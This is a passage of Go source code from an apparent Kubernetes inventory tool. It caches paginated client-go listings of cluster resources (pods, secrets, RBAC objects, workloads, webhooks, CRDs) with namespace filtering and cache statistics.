|
||||
go func() {
|
||||
defer wg.Done()
|
||||
if _, err := GetNetworkPolicies(ctx, clientset); err != nil {
|
||||
errChan <- fmt.Errorf("networkpolicies: %w", err)
|
||||
}
|
||||
}()
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
if _, err := GetIngresses(ctx, clientset); err != nil {
|
||||
errChan <- fmt.Errorf("ingresses: %w", err)
|
||||
}
|
||||
}()
|
||||
|
||||
// CRDs (uses apiextensions client, not standard clientset)
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
if _, err := GetCRDs(ctx); err != nil {
|
||||
errChan <- fmt.Errorf("crds: %w", err)
|
||||
}
|
||||
}()
|
||||
|
||||
// Tier 3: Workloads and other resources
|
||||
wg.Add(10)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
if _, err := GetSecrets(ctx, clientset); err != nil {
|
||||
errChan <- fmt.Errorf("secrets: %w", err)
|
||||
}
|
||||
}()
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
if _, err := GetServiceAccounts(ctx, clientset); err != nil {
|
||||
errChan <- fmt.Errorf("serviceaccounts: %w", err)
|
||||
}
|
||||
}()
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
if _, err := GetDeployments(ctx, clientset); err != nil {
|
||||
errChan <- fmt.Errorf("deployments: %w", err)
|
||||
}
|
||||
}()
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
if _, err := GetDaemonSets(ctx, clientset); err != nil {
|
||||
errChan <- fmt.Errorf("daemonsets: %w", err)
|
||||
}
|
||||
}()
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
if _, err := GetStatefulSets(ctx, clientset); err != nil {
|
||||
errChan <- fmt.Errorf("statefulsets: %w", err)
|
||||
}
|
||||
}()
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
if _, err := GetReplicaSets(ctx, clientset); err != nil {
|
||||
errChan <- fmt.Errorf("replicasets: %w", err)
|
||||
}
|
||||
}()
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
if _, err := GetValidatingWebhooks(ctx, clientset); err != nil {
|
||||
errChan <- fmt.Errorf("validatingwebhooks: %w", err)
|
||||
}
|
||||
}()
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
if _, err := GetMutatingWebhooks(ctx, clientset); err != nil {
|
||||
errChan <- fmt.Errorf("mutatingwebhooks: %w", err)
|
||||
}
|
||||
}()
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
if _, err := GetConfigMaps(ctx, clientset); err != nil {
|
||||
errChan <- fmt.Errorf("configmaps: %w", err)
|
||||
}
|
||||
}()
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
if _, err := GetEndpoints(ctx, clientset); err != nil {
|
||||
errChan <- fmt.Errorf("endpoints: %w", err)
|
||||
}
|
||||
}()
|
||||
|
||||
wg.Wait()
|
||||
close(errChan)
|
||||
|
||||
// Collect any errors (log them but don't fail - partial cache is still useful)
|
||||
for err := range errChan {
|
||||
cacheLogger.ErrorM(fmt.Sprintf("Cache warm warning: %v", err), "cache")
|
||||
}
|
||||
|
||||
cacheLogger.InfoM("Resource cache warmed successfully", "cache")
|
||||
return nil
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// NAMESPACE FILTERING HELPERS
|
||||
// ============================================================================
|
||||
|
||||
// filterByNamespace filters items by configured namespaces from globals
|
||||
func filterByNamespace[T any](items []T, getNamespace func(T) string) []T {
|
||||
if len(globals.K8sNamespaces) == 0 || globals.K8sAllNamespaces {
|
||||
return items
|
||||
}
|
||||
|
||||
targetNS := make(map[string]bool)
|
||||
for _, ns := range globals.K8sNamespaces {
|
||||
targetNS[ns] = true
|
||||
}
|
||||
|
||||
var filtered []T
|
||||
for _, item := range items {
|
||||
if targetNS[getNamespace(item)] {
|
||||
filtered = append(filtered, item)
|
||||
}
|
||||
}
|
||||
return filtered
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// CORE RESOURCES
|
||||
// ============================================================================
|
||||
|
||||
// GetPods returns all pods, using cache if available.
|
||||
func GetPods(ctx context.Context, clientset *kubernetes.Clientset) ([]corev1.Pod, error) {
|
||||
pods, err := GetOrSet(CacheKeyPods, func() ([]corev1.Pod, error) {
|
||||
var allPods []corev1.Pod
|
||||
continueToken := ""
|
||||
|
||||
for {
|
||||
listOpts := metav1.ListOptions{
|
||||
Limit: 500,
|
||||
Continue: continueToken,
|
||||
}
|
||||
|
||||
podList, err := clientset.CoreV1().Pods(metav1.NamespaceAll).List(ctx, listOpts)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
allPods = append(allPods, podList.Items...)
|
||||
|
||||
if podList.Continue == "" {
|
||||
break
|
||||
}
|
||||
continueToken = podList.Continue
|
||||
}
|
||||
|
||||
return allPods, nil
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return filterByNamespace(pods, func(p corev1.Pod) string { return p.Namespace }), nil
|
||||
}
|
||||
|
||||
// GetServices returns all services, using cache if available.
|
||||
func GetServices(ctx context.Context, clientset *kubernetes.Clientset) ([]corev1.Service, error) {
|
||||
services, err := GetOrSet(CacheKeyServices, func() ([]corev1.Service, error) {
|
||||
serviceList, err := clientset.CoreV1().Services(metav1.NamespaceAll).List(ctx, metav1.ListOptions{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return serviceList.Items, nil
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return filterByNamespace(services, func(s corev1.Service) string { return s.Namespace }), nil
|
||||
}
|
||||
|
||||
// GetNodes returns all nodes, using cache if available.
|
||||
func GetNodes(ctx context.Context, clientset *kubernetes.Clientset) ([]corev1.Node, error) {
|
||||
return GetOrSet(CacheKeyNodes, func() ([]corev1.Node, error) {
|
||||
nodeList, err := clientset.CoreV1().Nodes().List(ctx, metav1.ListOptions{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return nodeList.Items, nil
|
||||
})
|
||||
}
|
||||
|
||||
// GetNamespaces returns all namespaces, using cache if available.
|
||||
func GetNamespaces(ctx context.Context, clientset *kubernetes.Clientset) ([]corev1.Namespace, error) {
|
||||
return GetOrSet(CacheKeyNamespaces, func() ([]corev1.Namespace, error) {
|
||||
nsList, err := clientset.CoreV1().Namespaces().List(ctx, metav1.ListOptions{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return nsList.Items, nil
|
||||
})
|
||||
}
|
||||
|
||||
// GetSecrets returns all secrets, using cache if available.
|
||||
func GetSecrets(ctx context.Context, clientset *kubernetes.Clientset) ([]corev1.Secret, error) {
|
||||
secrets, err := GetOrSet(CacheKeySecrets, func() ([]corev1.Secret, error) {
|
||||
secretList, err := clientset.CoreV1().Secrets(metav1.NamespaceAll).List(ctx, metav1.ListOptions{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return secretList.Items, nil
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return filterByNamespace(secrets, func(s corev1.Secret) string { return s.Namespace }), nil
|
||||
}
|
||||
|
||||
// GetConfigMaps returns all configmaps, using cache if available.
|
||||
func GetConfigMaps(ctx context.Context, clientset *kubernetes.Clientset) ([]corev1.ConfigMap, error) {
|
||||
configMaps, err := GetOrSet(CacheKeyConfigMaps, func() ([]corev1.ConfigMap, error) {
|
||||
cmList, err := clientset.CoreV1().ConfigMaps(metav1.NamespaceAll).List(ctx, metav1.ListOptions{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return cmList.Items, nil
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return filterByNamespace(configMaps, func(c corev1.ConfigMap) string { return c.Namespace }), nil
|
||||
}
|
||||
|
||||
// GetServiceAccounts returns all service accounts, using cache if available.
|
||||
func GetServiceAccounts(ctx context.Context, clientset *kubernetes.Clientset) ([]corev1.ServiceAccount, error) {
|
||||
sas, err := GetOrSet(CacheKeyServiceAccounts, func() ([]corev1.ServiceAccount, error) {
|
||||
saList, err := clientset.CoreV1().ServiceAccounts(metav1.NamespaceAll).List(ctx, metav1.ListOptions{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return saList.Items, nil
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return filterByNamespace(sas, func(sa corev1.ServiceAccount) string { return sa.Namespace }), nil
|
||||
}
|
||||
|
||||
// GetEndpoints returns all endpoints, using cache if available.
|
||||
func GetEndpoints(ctx context.Context, clientset *kubernetes.Clientset) ([]corev1.Endpoints, error) {
|
||||
endpoints, err := GetOrSet(CacheKeyEndpoints, func() ([]corev1.Endpoints, error) {
|
||||
epList, err := clientset.CoreV1().Endpoints(metav1.NamespaceAll).List(ctx, metav1.ListOptions{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return epList.Items, nil
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return filterByNamespace(endpoints, func(e corev1.Endpoints) string { return e.Namespace }), nil
|
||||
}
|
||||
|
||||
// GetEvents returns all events, using cache if available.
|
||||
func GetEvents(ctx context.Context, clientset *kubernetes.Clientset) ([]corev1.Event, error) {
|
||||
events, err := GetOrSet(CacheKeyEvents, func() ([]corev1.Event, error) {
|
||||
eventList, err := clientset.CoreV1().Events(metav1.NamespaceAll).List(ctx, metav1.ListOptions{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return eventList.Items, nil
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return filterByNamespace(events, func(e corev1.Event) string { return e.Namespace }), nil
|
||||
}
|
||||
|
||||
// GetResourceQuotas returns all resource quotas, using cache if available.
|
||||
func GetResourceQuotas(ctx context.Context, clientset *kubernetes.Clientset) ([]corev1.ResourceQuota, error) {
|
||||
rqs, err := GetOrSet(CacheKeyResourceQuotas, func() ([]corev1.ResourceQuota, error) {
|
||||
rqList, err := clientset.CoreV1().ResourceQuotas(metav1.NamespaceAll).List(ctx, metav1.ListOptions{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return rqList.Items, nil
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return filterByNamespace(rqs, func(rq corev1.ResourceQuota) string { return rq.Namespace }), nil
|
||||
}
|
||||
|
||||
// GetLimitRanges returns all limit ranges, using cache if available.
|
||||
func GetLimitRanges(ctx context.Context, clientset *kubernetes.Clientset) ([]corev1.LimitRange, error) {
|
||||
lrs, err := GetOrSet(CacheKeyLimitRanges, func() ([]corev1.LimitRange, error) {
|
||||
lrList, err := clientset.CoreV1().LimitRanges(metav1.NamespaceAll).List(ctx, metav1.ListOptions{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return lrList.Items, nil
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return filterByNamespace(lrs, func(lr corev1.LimitRange) string { return lr.Namespace }), nil
|
||||
}
|
||||
|
||||
// GetPersistentVolumes returns all persistent volumes, using cache if available.
|
||||
func GetPersistentVolumes(ctx context.Context, clientset *kubernetes.Clientset) ([]corev1.PersistentVolume, error) {
|
||||
return GetOrSet(CacheKeyPersistentVolumes, func() ([]corev1.PersistentVolume, error) {
|
||||
pvList, err := clientset.CoreV1().PersistentVolumes().List(ctx, metav1.ListOptions{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return pvList.Items, nil
|
||||
})
|
||||
}
|
||||
|
||||
// GetPersistentVolumeClaims returns all persistent volume claims, using cache if available.
|
||||
func GetPersistentVolumeClaims(ctx context.Context, clientset *kubernetes.Clientset) ([]corev1.PersistentVolumeClaim, error) {
|
||||
pvcs, err := GetOrSet(CacheKeyPersistentVolumeClaims, func() ([]corev1.PersistentVolumeClaim, error) {
|
||||
pvcList, err := clientset.CoreV1().PersistentVolumeClaims(metav1.NamespaceAll).List(ctx, metav1.ListOptions{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return pvcList.Items, nil
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return filterByNamespace(pvcs, func(pvc corev1.PersistentVolumeClaim) string { return pvc.Namespace }), nil
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// NETWORKING RESOURCES
|
||||
// ============================================================================
|
||||
|
||||
// GetNetworkPolicies returns all network policies, using cache if available.
|
||||
func GetNetworkPolicies(ctx context.Context, clientset *kubernetes.Clientset) ([]networkingv1.NetworkPolicy, error) {
|
||||
nps, err := GetOrSet(CacheKeyNetworkPolicies, func() ([]networkingv1.NetworkPolicy, error) {
|
||||
npList, err := clientset.NetworkingV1().NetworkPolicies(metav1.NamespaceAll).List(ctx, metav1.ListOptions{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return npList.Items, nil
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return filterByNamespace(nps, func(np networkingv1.NetworkPolicy) string { return np.Namespace }), nil
|
||||
}
|
||||
|
||||
// GetIngresses returns all ingresses, using cache if available.
|
||||
func GetIngresses(ctx context.Context, clientset *kubernetes.Clientset) ([]networkingv1.Ingress, error) {
|
||||
ingresses, err := GetOrSet(CacheKeyIngresses, func() ([]networkingv1.Ingress, error) {
|
||||
ingList, err := clientset.NetworkingV1().Ingresses(metav1.NamespaceAll).List(ctx, metav1.ListOptions{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return ingList.Items, nil
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return filterByNamespace(ingresses, func(ing networkingv1.Ingress) string { return ing.Namespace }), nil
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// RBAC RESOURCES
|
||||
// ============================================================================
|
||||
|
||||
// GetRoles returns all roles, using cache if available.
|
||||
func GetRoles(ctx context.Context, clientset *kubernetes.Clientset) ([]rbacv1.Role, error) {
|
||||
roles, err := GetOrSet(CacheKeyRoles, func() ([]rbacv1.Role, error) {
|
||||
roleList, err := clientset.RbacV1().Roles(metav1.NamespaceAll).List(ctx, metav1.ListOptions{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return roleList.Items, nil
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return filterByNamespace(roles, func(r rbacv1.Role) string { return r.Namespace }), nil
|
||||
}
|
||||
|
||||
// GetClusterRoles returns all cluster roles, using cache if available.
|
||||
func GetClusterRoles(ctx context.Context, clientset *kubernetes.Clientset) ([]rbacv1.ClusterRole, error) {
|
||||
return GetOrSet(CacheKeyClusterRoles, func() ([]rbacv1.ClusterRole, error) {
|
||||
crList, err := clientset.RbacV1().ClusterRoles().List(ctx, metav1.ListOptions{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return crList.Items, nil
|
||||
})
|
||||
}
|
||||
|
||||
// GetRoleBindings returns all role bindings, using cache if available.
|
||||
func GetRoleBindings(ctx context.Context, clientset *kubernetes.Clientset) ([]rbacv1.RoleBinding, error) {
|
||||
rbs, err := GetOrSet(CacheKeyRoleBindings, func() ([]rbacv1.RoleBinding, error) {
|
||||
rbList, err := clientset.RbacV1().RoleBindings(metav1.NamespaceAll).List(ctx, metav1.ListOptions{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return rbList.Items, nil
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return filterByNamespace(rbs, func(rb rbacv1.RoleBinding) string { return rb.Namespace }), nil
|
||||
}
|
||||
|
||||
// GetClusterRoleBindings returns all cluster role bindings, using cache if available.
|
||||
func GetClusterRoleBindings(ctx context.Context, clientset *kubernetes.Clientset) ([]rbacv1.ClusterRoleBinding, error) {
|
||||
return GetOrSet(CacheKeyClusterRoleBindings, func() ([]rbacv1.ClusterRoleBinding, error) {
|
||||
crbList, err := clientset.RbacV1().ClusterRoleBindings().List(ctx, metav1.ListOptions{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return crbList.Items, nil
|
||||
})
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// WORKLOAD RESOURCES
|
||||
// ============================================================================
|
||||
|
||||
// GetDeployments returns all deployments, using cache if available.
|
||||
func GetDeployments(ctx context.Context, clientset *kubernetes.Clientset) ([]appsv1.Deployment, error) {
|
||||
deps, err := GetOrSet(CacheKeyDeployments, func() ([]appsv1.Deployment, error) {
|
||||
depList, err := clientset.AppsV1().Deployments(metav1.NamespaceAll).List(ctx, metav1.ListOptions{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return depList.Items, nil
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return filterByNamespace(deps, func(d appsv1.Deployment) string { return d.Namespace }), nil
|
||||
}
|
||||
|
||||
// GetDaemonSets returns all daemon sets, using cache if available.
|
||||
func GetDaemonSets(ctx context.Context, clientset *kubernetes.Clientset) ([]appsv1.DaemonSet, error) {
|
||||
dss, err := GetOrSet(CacheKeyDaemonSets, func() ([]appsv1.DaemonSet, error) {
|
||||
dsList, err := clientset.AppsV1().DaemonSets(metav1.NamespaceAll).List(ctx, metav1.ListOptions{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return dsList.Items, nil
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return filterByNamespace(dss, func(ds appsv1.DaemonSet) string { return ds.Namespace }), nil
|
||||
}
|
||||
|
||||
// GetStatefulSets returns all stateful sets, using cache if available.
|
||||
func GetStatefulSets(ctx context.Context, clientset *kubernetes.Clientset) ([]appsv1.StatefulSet, error) {
|
||||
sss, err := GetOrSet(CacheKeyStatefulSets, func() ([]appsv1.StatefulSet, error) {
|
||||
ssList, err := clientset.AppsV1().StatefulSets(metav1.NamespaceAll).List(ctx, metav1.ListOptions{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return ssList.Items, nil
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return filterByNamespace(sss, func(ss appsv1.StatefulSet) string { return ss.Namespace }), nil
|
||||
}
|
||||
|
||||
// GetReplicaSets returns all replica sets, using cache if available.
|
||||
func GetReplicaSets(ctx context.Context, clientset *kubernetes.Clientset) ([]appsv1.ReplicaSet, error) {
|
||||
rss, err := GetOrSet(CacheKeyReplicaSets, func() ([]appsv1.ReplicaSet, error) {
|
||||
rsList, err := clientset.AppsV1().ReplicaSets(metav1.NamespaceAll).List(ctx, metav1.ListOptions{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return rsList.Items, nil
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return filterByNamespace(rss, func(rs appsv1.ReplicaSet) string { return rs.Namespace }), nil
|
||||
}
|
||||
|
||||
// GetJobs returns all jobs, using cache if available.
|
||||
func GetJobs(ctx context.Context, clientset *kubernetes.Clientset) ([]batchv1.Job, error) {
|
||||
jobs, err := GetOrSet(CacheKeyJobs, func() ([]batchv1.Job, error) {
|
||||
jobList, err := clientset.BatchV1().Jobs(metav1.NamespaceAll).List(ctx, metav1.ListOptions{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return jobList.Items, nil
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return filterByNamespace(jobs, func(j batchv1.Job) string { return j.Namespace }), nil
|
||||
}
|
||||
|
||||
// GetCronJobs returns all cron jobs, using cache if available.
|
||||
func GetCronJobs(ctx context.Context, clientset *kubernetes.Clientset) ([]batchv1.CronJob, error) {
|
||||
cjs, err := GetOrSet(CacheKeyCronJobs, func() ([]batchv1.CronJob, error) {
|
||||
cjList, err := clientset.BatchV1().CronJobs(metav1.NamespaceAll).List(ctx, metav1.ListOptions{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return cjList.Items, nil
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return filterByNamespace(cjs, func(cj batchv1.CronJob) string { return cj.Namespace }), nil
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// ADMISSION RESOURCES
|
||||
// ============================================================================
|
||||
|
||||
// GetValidatingWebhooks returns all validating webhook configurations, using cache if available.
|
||||
func GetValidatingWebhooks(ctx context.Context, clientset *kubernetes.Clientset) ([]admissionv1.ValidatingWebhookConfiguration, error) {
|
||||
return GetOrSet(CacheKeyValidatingWebhooks, func() ([]admissionv1.ValidatingWebhookConfiguration, error) {
|
||||
vwhList, err := clientset.AdmissionregistrationV1().ValidatingWebhookConfigurations().List(ctx, metav1.ListOptions{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return vwhList.Items, nil
|
||||
})
|
||||
}
|
||||
|
||||
// GetMutatingWebhooks returns all mutating webhook configurations, using cache if available.
|
||||
func GetMutatingWebhooks(ctx context.Context, clientset *kubernetes.Clientset) ([]admissionv1.MutatingWebhookConfiguration, error) {
|
||||
return GetOrSet(CacheKeyMutatingWebhooks, func() ([]admissionv1.MutatingWebhookConfiguration, error) {
|
||||
mwhList, err := clientset.AdmissionregistrationV1().MutatingWebhookConfigurations().List(ctx, metav1.ListOptions{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return mwhList.Items, nil
|
||||
})
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// CRD RESOURCES
|
||||
// ============================================================================
|
||||
|
||||
// GetCRDs returns all Custom Resource Definitions, using cache if available.
|
||||
// Note: requires apiextensions clientset, not the standard clientset.
|
||||
func GetCRDs(ctx context.Context) ([]apiextensionsv1.CustomResourceDefinition, error) {
|
||||
return GetOrSet(CacheKeyCRDs, func() ([]apiextensionsv1.CustomResourceDefinition, error) {
|
||||
apiextClient, err := GetApiextensionsClientset()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
crdList, err := apiextClient.ApiextensionsV1().CustomResourceDefinitions().List(ctx, metav1.ListOptions{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return crdList.Items, nil
|
||||
})
|
||||
}
|
||||
|
||||
// GetCRDGroups returns the set of API groups registered as CRDs, using cache if available.
|
||||
func GetCRDGroups(ctx context.Context) (map[string]bool, error) {
|
||||
crds, err := GetCRDs(ctx)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
groups := make(map[string]bool, len(crds))
|
||||
for _, crd := range crds {
|
||||
groups[crd.Spec.Group] = true
|
||||
}
|
||||
return groups, nil
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// CLUSTER RESOURCES
|
||||
// ============================================================================
|
||||
|
||||
// GetStorageClasses returns all storage classes, using cache if available.
|
||||
func GetStorageClasses(ctx context.Context, clientset *kubernetes.Clientset) ([]storagev1.StorageClass, error) {
|
||||
return GetOrSet(CacheKeyStorageClasses, func() ([]storagev1.StorageClass, error) {
|
||||
scList, err := clientset.StorageV1().StorageClasses().List(ctx, metav1.ListOptions{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return scList.Items, nil
|
||||
})
|
||||
}
|
||||
|
||||
// GetPriorityClasses returns all priority classes, using cache if available.
|
||||
func GetPriorityClasses(ctx context.Context, clientset *kubernetes.Clientset) ([]schedulingv1.PriorityClass, error) {
|
||||
return GetOrSet(CacheKeyPriorityClasses, func() ([]schedulingv1.PriorityClass, error) {
|
||||
pcList, err := clientset.SchedulingV1().PriorityClasses().List(ctx, metav1.ListOptions{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return pcList.Items, nil
|
||||
})
|
||||
}
|
||||
|
||||
// GetPodDisruptionBudgets returns all pod disruption budgets, using cache if available.
|
||||
func GetPodDisruptionBudgets(ctx context.Context, clientset *kubernetes.Clientset) ([]policyv1.PodDisruptionBudget, error) {
|
||||
pdbs, err := GetOrSet(CacheKeyPodDisruptionBudgets, func() ([]policyv1.PodDisruptionBudget, error) {
|
||||
pdbList, err := clientset.PolicyV1().PodDisruptionBudgets(metav1.NamespaceAll).List(ctx, metav1.ListOptions{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return pdbList.Items, nil
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return filterByNamespace(pdbs, func(pdb policyv1.PodDisruptionBudget) string { return pdb.Namespace }), nil
|
||||
}
|
||||
|
||||
// GetHorizontalPodAutoscalers returns all HPAs, using cache if available.
|
||||
func GetHorizontalPodAutoscalers(ctx context.Context, clientset *kubernetes.Clientset) ([]autoscalingv2.HorizontalPodAutoscaler, error) {
|
||||
hpas, err := GetOrSet(CacheKeyHPAs, func() ([]autoscalingv2.HorizontalPodAutoscaler, error) {
|
||||
hpaList, err := clientset.AutoscalingV2().HorizontalPodAutoscalers(metav1.NamespaceAll).List(ctx, metav1.ListOptions{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return hpaList.Items, nil
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return filterByNamespace(hpas, func(hpa autoscalingv2.HorizontalPodAutoscaler) string { return hpa.Namespace }), nil
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// HELPER FUNCTIONS
|
||||
// ============================================================================
|
||||
|
||||
// GetPodsInNamespace returns pods filtered to a specific namespace.
|
||||
func GetPodsInNamespace(ctx context.Context, clientset *kubernetes.Clientset, namespace string) ([]corev1.Pod, error) {
|
||||
allPods, err := GetPods(ctx, clientset)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var filtered []corev1.Pod
|
||||
for _, pod := range allPods {
|
||||
if pod.Namespace == namespace {
|
||||
filtered = append(filtered, pod)
|
||||
}
|
||||
}
|
||||
return filtered, nil
|
||||
}
|
||||
|
||||
// GetServicesInNamespace returns services filtered to a specific namespace.
|
||||
func GetServicesInNamespace(ctx context.Context, clientset *kubernetes.Clientset, namespace string) ([]corev1.Service, error) {
|
||||
allServices, err := GetServices(ctx, clientset)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var filtered []corev1.Service
|
||||
for _, svc := range allServices {
|
||||
if svc.Namespace == namespace {
|
||||
filtered = append(filtered, svc)
|
||||
}
|
||||
}
|
||||
return filtered, nil
|
||||
}
|
||||
|
||||
// GetSecretsInNamespace returns secrets filtered to a specific namespace.
|
||||
func GetSecretsInNamespace(ctx context.Context, clientset *kubernetes.Clientset, namespace string) ([]corev1.Secret, error) {
|
||||
allSecrets, err := GetSecrets(ctx, clientset)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var filtered []corev1.Secret
|
||||
for _, secret := range allSecrets {
|
||||
if secret.Namespace == namespace {
|
||||
filtered = append(filtered, secret)
|
||||
}
|
||||
}
|
||||
return filtered, nil
|
||||
}
|
||||
|
||||
// CacheStats returns statistics about cached resources for debugging/logging.
|
||||
func CacheStats() map[string]int {
|
||||
stats := make(map[string]int)
|
||||
|
||||
keys := []string{
|
||||
CacheKeyPods, CacheKeyServices, CacheKeyNodes, CacheKeyNamespaces,
|
||||
CacheKeySecrets, CacheKeyConfigMaps, CacheKeyServiceAccounts,
|
||||
CacheKeyNetworkPolicies, CacheKeyIngresses,
|
||||
CacheKeyRoles, CacheKeyClusterRoles, CacheKeyRoleBindings, CacheKeyClusterRoleBindings,
|
||||
CacheKeyDeployments, CacheKeyDaemonSets, CacheKeyStatefulSets, CacheKeyReplicaSets,
|
||||
CacheKeyJobs, CacheKeyCronJobs,
|
||||
CacheKeyValidatingWebhooks, CacheKeyMutatingWebhooks,
|
||||
}
|
||||
|
||||
for _, key := range keys {
|
||||
if cached, found := Get(key); found {
|
||||
switch v := cached.(type) {
|
||||
case []corev1.Pod:
|
||||
stats[key] = len(v)
|
||||
case []corev1.Service:
|
||||
stats[key] = len(v)
|
||||
case []corev1.Node:
|
||||
stats[key] = len(v)
|
||||
case []corev1.Namespace:
|
||||
stats[key] = len(v)
|
||||
case []corev1.Secret:
|
||||
stats[key] = len(v)
|
||||
case []corev1.ConfigMap:
|
||||
stats[key] = len(v)
|
||||
case []corev1.ServiceAccount:
|
||||
stats[key] = len(v)
|
||||
case []networkingv1.NetworkPolicy:
|
||||
stats[key] = len(v)
|
||||
case []networkingv1.Ingress:
|
||||
stats[key] = len(v)
|
||||
case []rbacv1.Role:
|
||||
stats[key] = len(v)
|
||||
case []rbacv1.ClusterRole:
|
||||
stats[key] = len(v)
|
||||
case []rbacv1.RoleBinding:
|
||||
stats[key] = len(v)
|
||||
case []rbacv1.ClusterRoleBinding:
|
||||
stats[key] = len(v)
|
||||
case []appsv1.Deployment:
|
||||
stats[key] = len(v)
|
||||
case []appsv1.DaemonSet:
|
||||
stats[key] = len(v)
|
||||
case []appsv1.StatefulSet:
|
||||
stats[key] = len(v)
|
||||
case []appsv1.ReplicaSet:
|
||||
stats[key] = len(v)
|
||||
case []batchv1.Job:
|
||||
stats[key] = len(v)
|
||||
case []batchv1.CronJob:
|
||||
stats[key] = len(v)
|
||||
case []admissionv1.ValidatingWebhookConfiguration:
|
||||
stats[key] = len(v)
|
||||
